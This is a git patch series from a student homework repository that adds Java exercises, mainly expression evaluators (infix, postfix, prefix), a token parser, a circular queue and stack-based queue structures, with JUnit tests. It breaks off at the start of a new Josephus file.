diff --git a/group27/383117348/data-structure/com/coding/basic/stack/test/TwoStackInOneArrayTest.java b/group27/383117348/data-structure/com/coding/basic/stack/test/TwoStackInOneArrayTest.java
new file mode 100644
index 0000000000..6f9643eaf7
--- /dev/null
+++ b/group27/383117348/data-structure/com/coding/basic/stack/test/TwoStackInOneArrayTest.java
@@ -0,0 +1,35 @@
+package com.coding.basic.stack.test;
+
+import org.junit.Test;
+
+import com.coding.basic.stack.TwoStackInOneArray;
+
+import junit.framework.Assert;
+
+public class TwoStackInOneArrayTest {
+	
+	@Test
+	public void testTwoStack(){
+		TwoStackInOneArray tso = new TwoStackInOneArray();
+		tso.push1("aaa");
+		tso.push1("bbb");
+		tso.push1("ccc");
+		tso.push1("ddd");
+		tso.push2("zzz");
+		tso.push2("yyy");
+		Assert.assertEquals(6, tso.getSize());
+		Assert.assertEquals("ddd", tso.pop1());
+		Assert.assertEquals("ccc", tso.pop1());
+		Assert.assertEquals("bbb", tso.pop1());
+		Assert.assertEquals("aaa", tso.pop1());
+		Assert.assertEquals("yyy", tso.pop2());
+		Assert.assertEquals("zzz", tso.pop2());
+		tso.push2("abcd");
+		tso.push2("bcdf");
+		Assert.assertEquals("bcdf", tso.pop2());
+		Assert.assertEquals("abcd", tso.pop2());
+		Assert.assertEquals(0, tso.getSize());
+		
+	}
+	
+}

From ff7608719aedbf5b68a43076ee63389965da950a Mon Sep 17 00:00:00 2001
From: sulei <sulei0205@foxmail.com>
Date: Tue, 9 May 2017 11:39:03 +0800
Subject: [PATCH 243/262] =?UTF-8?q?=E4=BD=9C=E4=B8=9A=E4=BF=AE=E6=AD=A3?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

作业修正
---
 .../src/com/coding/basic/queue/Josephus.java  |  4 +-
 .../com/coding/basic/queue/JosephusTest.java  | 16 ++++
 .../coding/basic/stack/expr/InfixExpr.java    |  3 +-
 .../coding/basic/stack/expr/PostfixExpr.java  |  1 +
 .../basic/stack/expr/PostfixExprTest.java     |  2 +-
 .../coding/basic/stack/expr/TokenParser.java  |  5 +-
 .../coding/basic/stack/myself/InfixExpr.java  | 73 +++++++++++++++++
 .../basic/stack/myself/InfixExprTest.java     | 52 ++++++++++++
 .../basic/stack/myself/InfixToPostfix.java    | 79 +++++++++++++++++++
 .../stack/myself/InfixToPostfixTest.java      | 40 ++++++++++
 .../basic/stack/myself/PostfixExpr.java       | 49 ++++++++++++
 .../basic/stack/myself/PostfixExprTest.java   | 41 ++++++++++
 .../coding/basic/stack/myself/PrefixExpr.java | 59 ++++++++++++++
 .../basic/stack/myself/PrefixExprTest.java    | 45 +++++++++++
 .../com/coding/basic/stack/myself/Token.java  | 50 ++++++++++++
 .../basic/stack/myself/TokenParser.java       | 57 +++++++++++++
 .../basic/stack/myself/TokenParserTest.java   | 41 ++++++++++
 .../basic/stack/myselfQueue/CircleQueue.java  | 62 +++++++++++++++
 .../stack/myselfQueue/CircleQueueTest.java    | 44 +++++++++++
 .../basic/stack/myselfQueue/Josephus.java     | 35 ++++++++
 .../basic/stack/myselfQueue/JosephusTest.java | 27 +++++++
 .../coding/basic/stack/myselfQueue/Queue.java | 61 ++++++++++++++
 .../stack/myselfQueue/QueueWithTwoStacks.java | 63 +++++++++++++++
 23 files changed, 901 insertions(+), 8 deletions(-)
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/InfixExpr.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/InfixExprTest.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/InfixToPostfix.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/InfixToPostfixTest.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/PostfixExpr.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/PostfixExprTest.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/PrefixExpr.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/PrefixExprTest.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/Token.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/TokenParser.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/TokenParserTest.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myselfQueue/CircleQueue.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myselfQueue/CircleQueueTest.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myselfQueue/Josephus.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myselfQueue/JosephusTest.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myselfQueue/Queue.java
 create mode 100644 group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myselfQueue/QueueWithTwoStacks.java

diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/Josephus.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/Josephus.java
index 36ec615d36..497abc5f07 100644
--- a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/Josephus.java
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/Josephus.java
@@ -21,7 +21,7 @@ public static List<Integer> execute(int n, int m){
         List<Integer> result = new ArrayList<Integer>();
         int i = 0;
 
-        while (!queue.isEmpty()) {
+        while (!queue.isEmpty() && queue.size() > 1) {
 
             int x = queue.deQueue();            
 
@@ -32,7 +32,7 @@ public static List<Integer> execute(int n, int m){
             }
         }
 
-        
+        System.out.println(result);
         return result;
 	}
 	
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/JosephusTest.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/JosephusTest.java
index 7d90318b51..5c2cf2cbec 100644
--- a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/JosephusTest.java
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/JosephusTest.java
@@ -5,6 +5,8 @@
 import org.junit.Before;
 import org.junit.Test;
 
+import com.coding.basic.stack.myselfQueue.QueueWithTwoStacks;
+
 
 
 public class JosephusTest {
@@ -23,5 +25,19 @@ public void testExecute() {
 		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
 		
 	}
+	
+	@Test
+	public void testTwoStackQueue(){
+		QueueWithTwoStacks<Integer> q = new QueueWithTwoStacks<Integer>();
+		q.enQueue(1);
+		q.enQueue(2);
+		q.enQueue(3);
+		q.enQueue(4);
+		
+		System.out.println(q.deQueue());
+		System.out.println(q.deQueue());
+		System.out.println(q.deQueue());
+		System.out.println(q.deQueue());
+	}
 
 }
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/InfixExpr.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/InfixExpr.java
index cebef21fa3..777a2f8014 100644
--- a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/InfixExpr.java
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/InfixExpr.java
@@ -17,8 +17,9 @@ public float evaluate() {
 		TokenParser parser = new TokenParser();
 		List<Token> tokens = parser.parse(this.expr);
 		
-		
+		//存放操作符栈
 		Stack<Token> opStack = new Stack<>();
+		//操作数据值栈
 		Stack<Float> numStack = new Stack<>();
 		
 		for(Token token : tokens){
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/PostfixExpr.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/PostfixExpr.java
index c54eb69e2a..d65121633f 100644
--- a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/PostfixExpr.java
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/PostfixExpr.java
@@ -17,6 +17,7 @@ public float evaluate() {
 		
 		Stack<Float> numStack = new Stack<>();
 		for(Token token : tokens){
+			System.out.println(token+"----");
 			if(token.isNumber()){
 				numStack.push(new Float(token.getIntValue()));
 			} else{
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/PostfixExprTest.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/PostfixExprTest.java
index c0435a2db5..0fc55de6fd 100644
--- a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/PostfixExprTest.java
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/PostfixExprTest.java
@@ -22,7 +22,7 @@ public void tearDown() throws Exception {
 	@Test
 	public void testEvaluate() {
 		{
-			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + * ");
 			Assert.assertEquals(288, expr.evaluate(),0.0f);
 		}
 		{
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/TokenParser.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/TokenParser.java
index d3b0f167e1..7a6cb2598e 100644
--- a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/TokenParser.java
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/TokenParser.java
@@ -10,11 +10,9 @@ public  List<Token> parse(String expr) {
 		List<Token> tokens = new ArrayList<>();
 
 		int i = 0;
-
 		while (i < expr.length()) {
-
+			
 			char c = expr.charAt(i);
-
 			if (isOperator(c)) {
 
 				Token t = new Token(Token.OPERATOR, String.valueOf(c));
@@ -22,7 +20,6 @@ public  List<Token> parse(String expr) {
 				i++;
 
 			} else if (Character.isDigit(c)) {
-
 				int nextOperatorIndex = indexOfNextOperator(i, expr);
 				String value = expr.substring(i, nextOperatorIndex);
 				Token t = new Token(Token.NUMBER, value);
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/InfixExpr.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/InfixExpr.java
new file mode 100644
index 0000000000..0611a75c0a
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/InfixExpr.java
@@ -0,0 +1,73 @@
+package com.coding.basic.stack.myself;
+
+import java.util.List;
+import java.util.Stack;
+
+import com.coding.basic.stack.myself.Token;
+
+public class InfixExpr {
+	String expr = null;
+	
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(expr);
+		
+		//存放操作符栈
+		Stack<Token> opStack = new Stack<>();
+		//操作数据值栈
+		Stack<Float> numStack = new Stack<>();
+		
+		for (Token token:tokens){
+			//当前的token代表的是操作符时
+			if (token.isOperator()){
+				//当前操作符栈不为空并且当前操作符并不比栈顶优先级更高
+				while (!opStack.isEmpty()
+						 && !token.hasHigherPriority(opStack.peek())){
+					Token preOperate = opStack.pop();
+					float f2 = numStack.pop();
+					float f1 = numStack.pop();
+					float result = calculate(preOperate.toString(), f1, f2);
+					numStack.push(result);
+				}
+				opStack.push(token);
+			}
+			
+			if (token.isNumber()){
+				numStack.push(new Float(token.getIntValue()));
+			}
+			
+			
+		}
+		while (!opStack.isEmpty()){
+			Token token = opStack.pop();
+			Float f2 = numStack.pop();
+			Float f1 = numStack.pop();
+			numStack.push(calculate(token.toString(), f1,f2));
+		}
+		
+		return numStack.pop().floatValue();
+		
+	}
+	
+	public float calculate(String op, float f1, float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+	
+	
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/InfixExprTest.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/InfixExprTest.java
new file mode 100644
index 0000000000..b0a58bcd0d
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/InfixExprTest.java
@@ -0,0 +1,52 @@
+package com.coding.basic.stack.myself;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("10-2*3+50");
+			Assert.assertEquals(54, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/InfixToPostfix.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/InfixToPostfix.java
new file mode 100644
index 0000000000..b2a5206c81
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/InfixToPostfix.java
@@ -0,0 +1,79 @@
+package com.coding.basic.stack.myself;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import com.coding.basic.stack.myself.Token;
+
+public class InfixToPostfix {
+	
+	public static List<Token> convert(String expr) {
+		/*List<Token> infixPost = new TokenParser().parse(expr);
+
+		List<Token> postFixTokens = new ArrayList<>();
+		
+		Stack<Token> opStack = new Stack<Token>();
+		//2-3*4+5   
+		for (Token token:infixPost){
+			if(token.isOperator()){
+				
+				while(!opStack.isEmpty() 
+						&& !token.hasHigherPriority(opStack.peek())){
+					System.out.println("满足条件的token"+token);
+					postFixTokens.add(opStack.pop());//	
+				}
+				
+				opStack.push(token);//-
+				
+			}
+			
+			if(token.isNumber()){
+				
+				postFixTokens.add(token);//2 3 
+				
+			}
+		}
+		
+		while (!opStack.isEmpty()){
+			
+			postFixTokens.add(opStack.pop());
+			
+		}
+		
+		return postFixTokens;*/
+		
+		List<Token> infixPost = new TokenParser().parse(expr);
+		
+		List<Token> postFixTokens = new ArrayList<Token>();
+		
+		Stack<Token> openStack = new Stack<Token>();
+		
+		for (Token token:infixPost){
+			
+			if (token.isOperator()){
+				
+				while (!openStack.isEmpty()
+						  && !token.hasHigherPriority(openStack.peek())){
+					postFixTokens.add(openStack.pop());
+				}
+				
+				openStack.push(token);
+			}
+			
+			if (token.isNumber()){
+				
+				postFixTokens.add(token);
+			}
+		}
+		
+		while (!openStack.isEmpty()){
+			postFixTokens.add(openStack.pop());
+		}
+		
+		return postFixTokens;
+	}
+	
+	
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/InfixToPostfixTest.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/InfixToPostfixTest.java
new file mode 100644
index 0000000000..c2b1aedacc
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/InfixToPostfixTest.java
@@ -0,0 +1,40 @@
+package com.coding.basic.stack.myself;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class InfixToPostfixTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testConvert() {
+		{
+			List<Token> tokens = InfixToPostfix.convert("2+3");
+			Assert.assertEquals("[2, 3, +]", tokens.toString());
+		}
+		{
+		
+			List<Token> tokens = InfixToPostfix.convert("2+3*4");
+			Assert.assertEquals("[2, 3, 4, *, +]", tokens.toString());
+		}
+		{
+			
+			List<Token> tokens = InfixToPostfix.convert("2-3*4+5");
+			Assert.assertEquals("[2, 3, 4, *, -, 5, +]", tokens.toString());
+		}
+	}
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/PostfixExpr.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/PostfixExpr.java
new file mode 100644
index 0000000000..9fc596ef64
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/PostfixExpr.java
@@ -0,0 +1,49 @@
+package com.coding.basic.stack.myself;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PostfixExpr {
+	String expr = null;
+	
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(expr);
+		
+		Stack<Float> numStack = new Stack<Float>();
+		for (Token token:tokens){
+			if (token.isNumber()){
+				numStack.push(new Float(token.getIntValue()));
+			}else{
+				float f2 = numStack.pop();
+				float f1 = numStack.pop();
+				float result = calculate(token.toString(), f1, f2);
+				numStack.push(result);
+			}
+			
+			
+		}
+		return numStack.pop().floatValue();
+	}
+	
+	public float calculate(String op, float f1, float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+	
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/PostfixExprTest.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/PostfixExprTest.java
new file mode 100644
index 0000000000..2353fae242
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/PostfixExprTest.java
@@ -0,0 +1,41 @@
+package com.coding.basic.stack.myself;
+
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/PrefixExpr.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/PrefixExpr.java
new file mode 100644
index 0000000000..dcce38cfce
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/PrefixExpr.java
@@ -0,0 +1,59 @@
+package com.coding.basic.stack.myself;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import com.coding.basic.stack.myself.Token;
+
+public class PrefixExpr {
+	String expr = null;
+	
+	public PrefixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(expr);
+		
+		Stack<Token> exprStack = new Stack<>();
+		Stack<Float> numStack = new Stack<>();
+		for(Token token : tokens){
+			exprStack.push(token);
+		}
+		
+		while(!exprStack.isEmpty()){
+			Token t = exprStack.pop();
+			if(t.isNumber()){
+				numStack.push(new Float(t.getIntValue()));
+			}else{
+				Float f1 = numStack.pop();
+				Float f2 = numStack.pop();
+				numStack.push(calculate(t.toString(),f1,f2));
+				
+			}
+		}
+		return numStack.pop().floatValue();
+		
+	}
+
+	
+	public float calculate(String op, float f1, float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+	
+	
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/PrefixExprTest.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/PrefixExprTest.java
new file mode 100644
index 0000000000..694904d686
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/PrefixExprTest.java
@@ -0,0 +1,45 @@
+package com.coding.basic.stack.myself;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/Token.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/Token.java
new file mode 100644
index 0000000000..9c81783697
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/Token.java
@@ -0,0 +1,50 @@
+package com.coding.basic.stack.myself;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class Token {
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String,Integer> priorities = new HashMap<>();
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	public Token(int type, String value){
+		this.type = type;
+		this.value = value;
+	}
+
+	public boolean isNumber() {
+		return type == NUMBER;
+	}
+
+	public boolean isOperator() {
+		return type == OPERATOR;
+	}
+
+	public int getIntValue() {
+		return Integer.valueOf(value).intValue();
+	}
+	public String toString(){
+		return value;
+	}
+	
+	public boolean hasHigherPriority(Token t){
+		if(!this.isOperator() && !t.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+	
+	
+
+}
\ No newline at end of file
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/TokenParser.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/TokenParser.java
new file mode 100644
index 0000000000..c6a96986fd
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/TokenParser.java
@@ -0,0 +1,57 @@
+package com.coding.basic.stack.myself;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+	
+	
+	public  List<Token> parse(String expr) {
+		List<Token> tokens = new ArrayList<>();
+
+		int i = 0;
+
+		while (i < expr.length()) {
+
+			char c = expr.charAt(i);
+
+			if (isOperator(c)) {
+
+				Token t = new Token(Token.OPERATOR, String.valueOf(c));
+				tokens.add(t);
+				i++;
+
+			} else if (Character.isDigit(c)) {
+				//返回下一个操作数的位置
+				int nextOperatorIndex = indexOfNextOperator(i, expr);
+				String value = expr.substring(i, nextOperatorIndex);
+				Token t = new Token(Token.NUMBER, value);
+				tokens.add(t);
+				i = nextOperatorIndex;
+
+			} else{
+				System.out.println("char :["+c+"] is not number or operator,ignore");
+				i++;
+			}
+
+		}
+		return tokens;
+	}
+
+	private  int indexOfNextOperator(int i, String expr) {
+
+		while (Character.isDigit(expr.charAt(i))) {
+			i++;
+			if (i == expr.length()) {
+				break;
+			}
+		}
+		return i;
+
+	}
+
+	private  boolean isOperator(char c) {
+		String sc = String.valueOf(c);
+		return Token.OPERATORS.contains(sc);
+	}
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/TokenParserTest.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/TokenParserTest.java
new file mode 100644
index 0000000000..84a0df926b
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myself/TokenParserTest.java
@@ -0,0 +1,41 @@
+package com.coding.basic.stack.myself;
+
+import static org.junit.Assert.*;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+		
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myselfQueue/CircleQueue.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myselfQueue/CircleQueue.java
new file mode 100644
index 0000000000..42a13baed3
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myselfQueue/CircleQueue.java
@@ -0,0 +1,62 @@
+package com.coding.basic.stack.myselfQueue;
+
+/**
+ * 用数组实现循环队列
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class CircleQueue <E> {
+	
+	//用数组来保存循环队列的元素
+	private Object[] elementData;
+	
+	//队头
+	private int front = 0;  
+	//队尾  
+	private int rear = 0;
+	
+	private int size = 0;
+	
+	public CircleQueue(int capcility){
+		elementData = new Object[capcility];
+	}
+	
+	public boolean isEmpty() {
+		
+		return front == rear;
+        
+    }
+	
+	public boolean isFull(){
+		return  size == elementData.length;
+	}
+
+    public int size() {
+    	
+        return size;
+    }
+
+    
+
+    public void enQueue(E data) {
+        if (isFull()){
+        	throw new RuntimeException("the queue is full");
+        }
+        
+        elementData[rear++] = data;
+        size++;
+    }
+
+    public E deQueue() {
+        if (isEmpty()){
+        	throw new RuntimeException("the queue is empty");
+        }
+        E data = (E) elementData[front];
+        elementData[front] = null;
+        front = (front + 1) % elementData.length;
+        size --;
+        return data;
+        
+    }
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myselfQueue/CircleQueueTest.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myselfQueue/CircleQueueTest.java
new file mode 100644
index 0000000000..f7ebe87fb3
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myselfQueue/CircleQueueTest.java
@@ -0,0 +1,44 @@
+package com.coding.basic.stack.myselfQueue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class CircleQueueTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		CircleQueue<String> queue = new CircleQueue<String>(5);		
+		Assert.assertTrue(queue.isEmpty());
+		Assert.assertFalse(queue.isFull());
+		
+		queue.enQueue("a");
+		queue.enQueue("b");
+		queue.enQueue("c");
+		queue.enQueue("d");
+		queue.enQueue("e");
+		
+		Assert.assertTrue(queue.isFull());
+		Assert.assertFalse(queue.isEmpty());
+		Assert.assertEquals(5, queue.size());
+		
+		Assert.assertEquals("a", queue.deQueue());
+		Assert.assertEquals("b", queue.deQueue());
+		Assert.assertEquals("c", queue.deQueue());
+		Assert.assertEquals("d", queue.deQueue());
+		Assert.assertEquals("e", queue.deQueue());
+		
+	}
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myselfQueue/Josephus.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myselfQueue/Josephus.java
new file mode 100644
index 0000000000..ce1187cf02
--- /dev/null
